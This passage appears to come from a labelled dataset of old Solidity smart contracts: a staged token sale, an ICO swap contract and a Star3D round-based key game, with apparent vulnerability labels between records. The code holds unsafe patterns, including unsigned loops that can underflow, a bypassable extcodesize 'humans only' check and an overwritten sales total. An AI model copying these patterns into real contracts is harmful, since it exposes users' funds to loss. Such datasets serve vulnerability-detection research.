event TransferToken(address indexed _from_whom,address indexed _to_whom,
uint _token_value, uint256 indexed _when);
event TransferTokenFrom(address indexed _from_whom,address indexed _to_whom, address _agent,
uint _token_value, uint256 indexed _when);
event TransferTokenFromByAdmin(address indexed _from_whom,address indexed _to_whom, address _admin,
uint _token_value, uint256 indexed _when);
function transfer(address _to, uint _value) public
validTransaction(msg.sender, _to, _value)
returns (bool _success)
{
_success= super.transfer(_to, _value);
if(_success==false) revert();
emit TransferToken(msg.sender,_to,_value,block.timestamp);
if(holders_received_accumul[_to]==0x0) {
holders.push(_to);
holders_trading.push(_to);
emit NewHolderTrading(_to, block.timestamp);
}
holders_received_accumul[_to] += _value;
history_token_transfer.push( history_token_transfer_obj( {
_from: msg.sender,
_to: _to,
_token_value: _value,
_when: block.timestamp
} ) );
}
function transferFrom(address _from, address _to, uint _value) public
validTransaction(_from, _to, _value)
returns (bool _success)
{
if(isAdmin()==true) {
emit TransferTokenFromByAdmin(_from,_to,msg.sender,_value,block.timestamp);
_success= super.transferFromByAdmin(_from,_to, _value);
}
else {
emit TransferTokenFrom(_from,_to,msg.sender,_value,block.timestamp);
_success= super.transferFrom(_from, _to, _value);
}
if(_success==false) revert();
if(holders_received_accumul[_to]==0x0) {
holders.push(_to);
holders_trading.push(_to);
emit NewHolderTrading(_to, block.timestamp);
}
holders_received_accumul[_to] += _value;
history_token_transfer.push( history_token_transfer_obj( {
_from: _from,
_to: _to,
_token_value: _value,
_when: block.timestamp
} ) );
}
event IssueTokenSale(address indexed _buyer, uint _ether_value, uint _token_value,
uint _exchange_rate_now_per_wei, uint256 indexed _when);
function () public payable {
buy();
}
event NewHolderTrading(address indexed _new_comer, uint256 indexed _when);
event NewHolderSale(address indexed _new_comer, uint256 indexed _when);
function buy() public payable {
if(sale_status < Sale_Status.Stage0_Sale_Started_STATUS)
revert();
if(sale_status > Sale_Status.Stage4_Sale_Stopped_STATUS)
revert();
if((uint256(sale_status)%2)!=1) revert();
if(isAdmin()==true) revert();
uint256 tokens;
uint256 wei_per_now= sale_price_per_stage_wei_per_now[sale_stage_index];
if (msg.value < wei_per_now) revert();
tokens = uint256( msg.value / wei_per_now );
if (tokens + sold_tokens_total > totalSupply) revert();
if(sale_stage_index==0) sale_amount_stage0_account[msg.sender] += tokens; else
if(sale_stage_index==1) sale_amount_stage1_account[msg.sender] += tokens; else
if(sale_stage_index==2) sale_amount_stage2_account[msg.sender] += tokens; else
if(sale_stage_index==3) sale_amount_stage3_account[msg.sender] += tokens; else
if(sale_stage_index==4) sale_amount_stage4_account[msg.sender] += tokens;
sold_tokens_per_stage[sale_stage_index] += tokens;
sold_tokens_total += tokens;
raised_ethers_per_stage[sale_stage_index] += msg.value;
raised_ethers_total += msg.value;
super.transferFromByAdmin(owner, msg.sender, tokens);
if(holders_received_accumul[msg.sender]==0x0) {
holders.push(msg.sender);
if(sale_stage_index==0) holders_stage0_sale.push(msg.sender); else
if(sale_stage_index==1) holders_stage1_sale.push(msg.sender); else
if(sale_stage_index==2) holders_stage2_sale.push(msg.sender); else
if(sale_stage_index==3) holders_stage3_sale.push(msg.sender); else
if(sale_stage_index==4) holders_stage4_sale.push(msg.sender);
emit NewHolderSale(msg.sender, block.timestamp);
}
holders_received_accumul[msg.sender] += tokens;
emit IssueTokenSale(msg.sender, msg.value, tokens, wei_per_now, block.timestamp);
if( target_ethers_per_stage[sale_stage_index] <= raised_ethers_per_stage[sale_stage_index])
stop_StageN_Sale(sale_stage_index);
}
event FreezeAccount(address indexed _account_to_freeze, uint256 indexed _when);
event UnfreezeAccount(address indexed _account_to_unfreeze, uint256 indexed _when);
function z_admin_freeze(address _account_to_freeze) public onlyAdmin {
account_frozen_time[_account_to_freeze]= block.timestamp;
holders_frozen.push(_account_to_freeze);
emit FreezeAccount(_account_to_freeze,block.timestamp);
}
function z_admin_unfreeze(address _account_to_unfreeze) public onlyAdmin {
account_frozen_time[_account_to_unfreeze]= 0;
emit UnfreezeAccount(_account_to_unfreeze,block.timestamp);
}
event CloseTokenContract(uint256 indexed _when);
function closeContract() onlyAdmin internal {
if(sale_status < Sale_Status.Stage0_Allowed_To_Trade_STATUS) revert();
if(totalSupply > 0) revert();
address ScAddress = this;
emit CloseTokenContract(block.timestamp);
emit WithdrawEther(owner,ScAddress.balance,block.timestamp);
selfdestruct(owner);
}
function ContractEtherBalance() public view
returns (
uint256 _current_ether_balance,
uint256 _ethers_withdrawn,
uint256 _ethers_raised_total
) {
_current_ether_balance= address(this).balance;
_ethers_withdrawn= totalEtherWithdrawed;
_ethers_raised_total= raised_ethers_total;
}
event WithdrawEther(address indexed _addr, uint256 _value, uint256 indexed _when);
function z_admin_withdraw_ether(uint256 _withdraw_wei_value) onlyAdmin public {
address ScAddress = this;
if(_withdraw_wei_value > ScAddress.balance) revert();
if(owner.send(_withdraw_wei_value)==false) revert();
totalEtherWithdrawed += _withdraw_wei_value;
emit WithdrawEther(owner,_withdraw_wei_value,block.timestamp);
}
function list_active_holders_and_balances(uint _max_num_of_items_to_display) public view
returns (uint _num_of_active_holders,address[] _active_holders,uint[] _token_balances){
uint len = holders.length;
_num_of_active_holders = 0;
if(_max_num_of_items_to_display==0) _max_num_of_items_to_display=1;
for (uint i = len-1 ; i >= 0 ; i--) {
if( balances[ holders[i] ] != 0x0) _num_of_active_holders++;
if(_max_num_of_items_to_display == _num_of_active_holders) break;
}
_active_holders = new address[](_num_of_active_holders);
_token_balances = new uint[](_num_of_active_holders);
uint num=0;
for (uint j = len-1 ; j >= 0 && _num_of_active_holders > num ; j--) {
address addr = holders[j];
if( balances[ addr ] == 0x0) continue;
_active_holders[num] = addr;
_token_balances[num] = balances[addr];
num++;
}
}
function list_history_of_token_transfer(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _senders,address[] _receivers,uint[] _tokens,uint[] _whens){
uint len = history_token_transfer.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_senders = new address[](n);
_receivers = new address[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_transfer_obj storage obj= history_token_transfer[j];
_senders[_num]= obj._from;
_receivers[_num]= obj._to;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_token_transfer_filtered_by_addr(address _addr) public view
returns (uint _num,address[] _senders,address[] _receivers,uint[] _tokens,uint[] _whens){
uint len = history_token_transfer.length;
uint _max_num_of_items_to_display= 0;
history_token_transfer_obj storage obj= history_token_transfer[0];
uint j;
for (j = len-1 ; j >= 0 ; j--) {
obj= history_token_transfer[j];
if(obj._from== _addr || obj._to== _addr) _max_num_of_items_to_display++;
}
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
_senders = new address[](_max_num_of_items_to_display);
_receivers = new address[](_max_num_of_items_to_display);
_tokens = new uint[](_max_num_of_items_to_display);
_whens = new uint[](_max_num_of_items_to_display);
_num=0;
for (j = len-1 ; j >= 0 && _max_num_of_items_to_display > _num ; j--) {
obj= history_token_transfer[j];
if(obj._from!= _addr && obj._to!= _addr) continue;
_senders[_num]= obj._from;
_receivers[_num]= obj._to;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_frozen_accounts(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _frozen_holders,uint[] _whens){
uint len = holders_frozen.length;
uint num_of_frozen_holders = 0;
if(_max_num_of_items_to_display==0) _max_num_of_items_to_display=1;
for (uint i = len-1 ; i >= 0 ; i--) {
if( account_frozen_time[ holders_frozen[i] ] > 0x0) num_of_frozen_holders++;
if(_max_num_of_items_to_display == num_of_frozen_holders) break;
}
_frozen_holders = new address[](num_of_frozen_holders);
_whens = new uint[](num_of_frozen_holders);
_num=0;
for (uint j = len-1 ; j >= 0 && num_of_frozen_holders > _num ; j--) {
address addr= holders_frozen[j];
uint256 when= account_frozen_time[ addr ];
if( when == 0x0) continue;
_frozen_holders[_num]= addr;
_whens[_num]= when;
_num++;
}
}
function z_admin_next_status(Sale_Status _next_status) onlyAdmin public {
if(_next_status== Sale_Status.Stage0_Sale_Started_STATUS) { start_StageN_Sale(0); return;}
if(_next_status== Sale_Status.Stage0_Sale_Stopped_STATUS) { stop_StageN_Sale(0); return;}
if(_next_status== Sale_Status.Stage1_Sale_Started_STATUS) { start_StageN_Sale(1); return;}
if(_next_status== Sale_Status.Stage1_Sale_Stopped_STATUS) { stop_StageN_Sale(1); return;}
if(_next_status== Sale_Status.Stage2_Sale_Started_STATUS) { start_StageN_Sale(2); return;}
if(_next_status== Sale_Status.Stage2_Sale_Stopped_STATUS) { stop_StageN_Sale(2); return;}
if(_next_status== Sale_Status.Stage3_Sale_Started_STATUS) { start_StageN_Sale(3); return;}
if(_next_status== Sale_Status.Stage3_Sale_Stopped_STATUS) { stop_StageN_Sale(3); return;}
if(_next_status== Sale_Status.Stage4_Sale_Started_STATUS) { start_StageN_Sale(4); return;}
if(_next_status== Sale_Status.Stage4_Sale_Stopped_STATUS) { stop_StageN_Sale(4); return;}
if(_next_status== Sale_Status.Public_Allowed_To_Trade_STATUS) { start_Public_Trade(); return;}
if(_next_status== Sale_Status.Stage0_Allowed_To_Trade_STATUS) { start_Stage0_Trade(); return;}
if(_next_status== Sale_Status.Closed_STATUS) { closeContract(); return;}
revert();
}
} | 0 | 1,430 |
pragma solidity ^0.4.15;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
function burn(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function totalSupply() constant returns (uint256 _supply);
function transfer(address to, uint value) returns (bool ok);
function transfer(address to, uint value, bytes data) returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) returns (bool ok);
function transferFrom(address from, address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract Whitelist {
mapping (address => bool) public registered;
}
contract IcoExt {
address public authorizedCaller;
address public collectorAddress;
address public owner;
address public whitelistAdd;
address public tokenAdd;
address public tokenSpender;
uint public initialPrice;
uint public initialTime;
uint tokenPrice;
uint increasePerBlock;
uint increasePerBlockDiv;
bool public autoPrice;
bool public isPaused;
uint public minAcceptedETH;
uint public tokenDecimals;
uint public tokenMult;
uint8 public stage;
uint public totalReceived;
uint public totalSent;
function IcoExt() {
authorizedCaller = msg.sender;
owner = msg.sender;
collectorAddress = 0x6835706E8e58544deb6c4EC59d9815fF6C20417f;
tokenAdd = 0x22f0af8d78851b72ee799e05f54a77001586b18a;
tokenSpender = 0x6835706E8e58544deb6c4EC59d9815fF6C20417f;
whitelistAdd = 0xad56C554f32D51526475d541F5DeAabE1534854d;
autoPrice = true;
authorized[authorizedCaller] = true;
minAcceptedETH = 0.05 ether;
tokenDecimals = 10;
tokenMult = 10 ** tokenDecimals;
initialPrice = 10000 * tokenMult;
tokenPrice = initialPrice;
autoPrice = false;
initialTime = now;
increasePerBlock = 159;
increasePerBlockDiv = 1000000000;
stage = 0;
}
mapping(address => uint) public receivedFrom;
mapping(address => uint) public sentTo;
mapping(address => bool) public authorized;
event TokensSent(address _address , uint _received , uint _sent);
modifier isAuthorized() {
require(authorized[msg.sender]);
_;
}
modifier isNotPaused() {
require(!isPaused);
_;
}
function mul(uint x, uint y) internal returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function () payable {
makeSwapInternal();
}
function makeSwapInternal() private isNotPaused {
require(stage>0 && stage<3 && msg.value >= minAcceptedETH);
Whitelist wl = Whitelist(whitelistAdd);
if (stage==1 || stage==2 ) require(wl.registered(msg.sender));
ERC223 GXVCtoken = ERC223(tokenAdd);
address _address = msg.sender;
uint _value = msg.value;
uint _price = getPrice();
uint tokensToSend = _price * _value / 10 ** 18;
receivedFrom[_address] += _value;
totalReceived += _value;
sentTo[_address] += tokensToSend;
totalSent = tokensToSend;
require(GXVCtoken.transferFrom(tokenSpender,_address,tokensToSend));
TokensSent(_address,_value,tokensToSend);
require(collectorAddress.send(_value));
}
function getPrice() constant public returns(uint _price){
if (autoPrice) {
return calculatePrice(now);
} else {
return tokenPrice;
}
}
function getCurrentStage() public constant returns(uint8 _stage){
return stage;
}
function calculatePrice(uint _when) constant public returns(uint _result){
if (_when == 0) _when = now;
uint delay = (_when - initialTime) / 25;
uint factor = delay * increasePerBlock;
uint multip = initialPrice * factor;
uint result = initialPrice - multip / increasePerBlockDiv / 100;
require (result<=initialPrice);
return result;
}
function changeToStage(uint8 _stage) isAuthorized returns(bool) {
require(stage<_stage && _stage < 4);
stage = _stage;
return true;
}
function pause() public isAuthorized {
isPaused = true;
}
function resume() public isAuthorized {
isPaused = false;
}
function setManualPrice(uint _price) public isAuthorized {
autoPrice = false;
tokenPrice = _price;
}
function setAutoPrice() public isAuthorized {
autoPrice = true;
}
function setInitialTime() public isAuthorized {
initialTime = now;
}
function getNow() public constant returns(uint _now){
return now;
}
function flushEthers() public isAuthorized {
require( collectorAddress.send( this.balance ) );
}
function changeMinAccEthers(uint _newMin) public isAuthorized {
minAcceptedETH = _newMin;
}
function addAuthorized(address _address) public isAuthorized {
authorized[_address] = true;
}
function removeAuthorized(address _address) public isAuthorized {
require(_address != owner);
authorized[_address] = false;
}
function changeOwner(address _address) public {
require(msg.sender == owner);
owner = _address;
}
function sendTokens(address _address , uint256 _amount) isAuthorized returns (bool success) {
ERC20Basic token = ERC20Basic( tokenAdd );
require( token.transfer(_address , _amount ) );
return true;
}
} | 1 | 2,826 |
pragma solidity ^0.4.24;
contract Star3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
interface CompanyShareInterface {
function deposit() external payable;
}
contract modularLong is Star3Devents {}
contract Star3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using Star3DKeysCalcLong for uint256;
address public admin;
string constant public name = "Save the planet";
string constant public symbol = "Star";
CompanyShareInterface constant private CompanyShare = CompanyShareInterface(0xdba6f4fe7e8a358150fc861148c3a19b22242743);
uint256 private pID_ = 0;
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 1 seconds;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 30 minutes;
uint256 public registrationFee_ = 10 finney;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Star3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Star3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => Star3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => Star3Ddatasets.TeamFee) public fees_;
mapping (uint256 => Star3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
admin = msg.sender;
fees_[0] = Star3Ddatasets.TeamFee(32, 45, 10, 3);
fees_[1] = Star3Ddatasets.TeamFee(45, 32, 10, 3);
fees_[2] = Star3Ddatasets.TeamFee(50, 27, 10, 3);
fees_[3] = Star3Ddatasets.TeamFee(40, 37, 10, 3);
potSplit_[0] = Star3Ddatasets.PotSplit(20, 30);
potSplit_[1] = Star3Ddatasets.PotSplit(15, 35);
potSplit_[2] = Star3Ddatasets.PotSplit(25, 25);
potSplit_[3] = Star3Ddatasets.PotSplit(30, 20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isRegisteredName()
{
uint256 _pID = pIDxAddr_[msg.sender];
require(plyr_[_pID].name == "" || _pID == 0, "already has name");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Star3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Star3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Star3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
_team = verifyTeam(_team);
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Star3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Star3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Star3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Star3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
Star3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Star3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit Star3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode)
isHuman()
isRegisteredName()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
bool _isNewPlayer = isNewPlayer(_addr);
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
Star3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = makePlayerID(msg.sender);
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _name);
emit Star3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode)
isHuman()
isRegisteredName()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = isNewPlayer(_addr);
Star3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = makePlayerID(msg.sender);
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _name);
emit Star3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode)
isHuman()
isRegisteredName()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = isNewPlayer(_addr);
Star3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = makePlayerID(msg.sender);
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _name);
emit Star3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameCore(uint256 _pID, bytes32 _name)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
}
CompanyShare.deposit.value(msg.value)();
}
function isNewPlayer(address _addr)
public
view
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
return (true);
} else {
return (false);
}
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _timePrice = getBuyPriceTimes();
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return (((round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000)).mul(_timePrice));
else
return ( 750000000000000 );
}
function getBuyPriceTimes()
public
view
returns(uint256)
{
uint256 timeLeft = getTimeLeft();
if(timeLeft <= 300)
{
return 10;
}else{
return 1;
}
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].endGen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3]
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Star3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Star3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Star3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
